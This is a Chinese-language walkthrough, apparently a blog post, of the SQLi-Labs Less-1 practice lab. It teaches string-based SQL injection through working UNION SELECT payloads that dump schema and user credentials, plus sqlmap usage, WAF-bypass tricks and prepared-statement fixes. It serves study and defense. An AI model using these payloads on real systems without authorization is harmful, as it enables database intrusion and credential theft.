1. SQL注入实战环境搭建
SQLi-Labs是一个专门为学习SQL注入技术设计的开源靶场项目,它模拟了各种真实场景中的SQL注入漏洞。Less-1作为整个系列的第一关,主要考察基于GET请求的单引号字符型注入。在开始实战之前,我们需要先完成环境准备。
1.1 靶场部署要点
我推荐使用Docker快速部署SQLi-Labs环境,这是目前最稳定的方式。执行以下命令即可启动容器:
bash复制docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 80:80 --rm acgpiano/sqli-labs
部署完成后访问http://localhost,点击"Setup/reset Database"链接初始化数据库。这里有个常见坑点:如果页面显示数据库连接错误,通常是因为MySQL服务启动较慢导致的,等待30秒后刷新页面即可。
1.2 靶场结构解析
SQLi-Labs的Less-1关卡对应的源码文件是/Less-1/index.php。关键代码片段如下:
php复制$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
这段代码直接将用户输入的id参数拼接到SQL语句中,没有进行任何过滤处理,形成了典型的字符型注入漏洞。理解这段代码的执行逻辑对后续注入至关重要。
1.3 必备工具准备
除了浏览器,我们还需要以下工具辅助测试:
- Burp Suite:用于拦截和修改HTTP请求
- SQLmap:自动化SQL注入工具(用于验证手工注入结果)
- HackBar:浏览器插件方便构造Payload
注意:在实际渗透测试中,未经授权的SQL注入测试是违法行为。请仅在授权环境或像SQLi-Labs这样的合法靶场中进行练习。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 基础注入原理剖析
2.1 字符型注入的本质
Less-1的漏洞属于单引号闭合的字符型注入。当用户输入1'时,最终执行的SQL语句变为:
sql复制SELECT * FROM users WHERE id='1'' LIMIT 0,1
这会引发语法错误,因为单引号没有正确闭合。通过这个错误我们可以确认存在SQL注入漏洞。
2.2 注入点探测技巧
在不知道源码的情况下,可以通过以下步骤判断注入类型:
- 输入
1:正常返回 - 输入
1':报错 → 可能是字符型注入 - 输入
1' --+:注释掉后续语句,如果恢复正常则确认是字符型注入
这里--+是SQL注释符号,+在URL中会被解码为空格。这个技巧在手工注入中非常实用。
2.3 信息收集Payload构造
获取数据库信息的典型Payload结构:
code复制id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
这个Payload由几个关键部分组成:
-1':使前段查询不返回结果union select:联合查询获取系统信息group_concat():将多行结果合并为一行information_schema:MySQL元数据库--+:注释掉原查询的剩余部分
3. Less-1详细通关步骤
3.1 确定注入点
访问http://localhost/Less-1/,在ID参数中输入:
code复制1' and '1'='1
页面正常显示,输入:
code复制1' and '1'='2
页面无结果显示,确认存在字符型注入漏洞。
3.2 获取数据库信息
构造Payload获取当前数据库名:
code复制id=-1' union select 1,database(),3 --+
返回结果通常是"security",这是SQLi-Labs预设的测试数据库。
3.3 获取表信息
获取security数据库中的所有表:
code复制id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
关键表包括:
- emails
- referers
- uagents
- users
3.4 获取列信息
获取users表的列名:
code复制id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
关键列包括:
- id
- username
- password
3.5 提取用户凭证
最终获取所有用户名和密码:
code复制id=-1' union select 1,group_concat(username),group_concat(password) from users --+
返回结果类似:
code复制Dumb,Dummy,Angelina,Dummy,secure,stupid,superman,batman,admin
Dumb,I-kill-you,p@ssword,stupidity,genious,mob!le,admin,admin,admin123
3.6 密码破解
获取的密码通常是MD5哈希值,可以使用在线工具如cmd5.com进行解密。在SQLi-Labs中,部分密码是明文存储的,如admin/admin123。
4. 防御措施与进阶思考
4.1 漏洞修复方案
修复这类漏洞的正确方式:
- 使用预处理语句(PDO)
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id=? LIMIT 0,1");
$stmt->execute([$id]);
- 如果必须拼接SQL,至少要进行严格的输入过滤
php复制$id = mysqli_real_escape_string($conn, $_GET['id']);
4.2 自动化工具验证
可以使用SQLmap验证手工注入结果:
bash复制sqlmap -u "http://localhost/Less-1/?id=1" --risk=3 --level=5 --batch
参数说明:
--risk=3:启用危险检测--level=5:全面检测--batch:自动选择默认选项
4.3 靶场进阶练习建议
完成Less-1后,可以尝试:
- 不显示错误信息的情况下进行盲注
- 使用时间延迟技术获取数据
- 尝试绕过WAF的过滤规则
我在实际测试中发现,很多WAF会检测常见的SQL关键词,可以通过注释分割、大小写混合等方式绕过,例如:
code复制id=1'/*!50419UNION*//*!50419SELECT*/1,2,3--+
5. 实战经验与技巧分享
5.1 信息收集的优化技巧
在真实环境中,information_schema可能被限制访问。此时可以尝试:
- 使用
mysql.innodb_table_stats获取表名 - 通过
sys.schema_table_statistics获取信息 - 利用报错信息泄露数据
5.2 数据提取的加速方法
当数据量很大时,group_concat可能被截断。可以:
- 使用substr分段获取:
code复制id=-1' union select 1,substr((select group_concat(table_name) from information_schema.tables),1,30),3 --+
- 通过limit逐个获取:
code复制id=-1' union select 1,table_name,3 from information_schema.tables limit 0,1 --+
5.3 常见错误排查
- 遇到
The used SELECT statements have a different number of columns错误:
- 说明union前后列数不一致,需要通过order by确定列数
code复制id=1' order by 3--+ # 测试列数
- 特殊字符被转义:
- 尝试使用CHAR()函数代替引号
code复制id=1' and substr(database(),1,1)=CHAR(115)--+
- 注释符号被过滤:
- 使用
' or '1'='1闭合语句替代注释
通过SQLi-Labs的练习,我深刻体会到SQL注入的危害性以及防御的重要性。在实际开发中,一定要养成使用参数化查询的习惯,不要相信任何用户输入。对于安全测试人员来说,理解各种注入技术的原理和变种,才能更好地发现和修复漏洞。
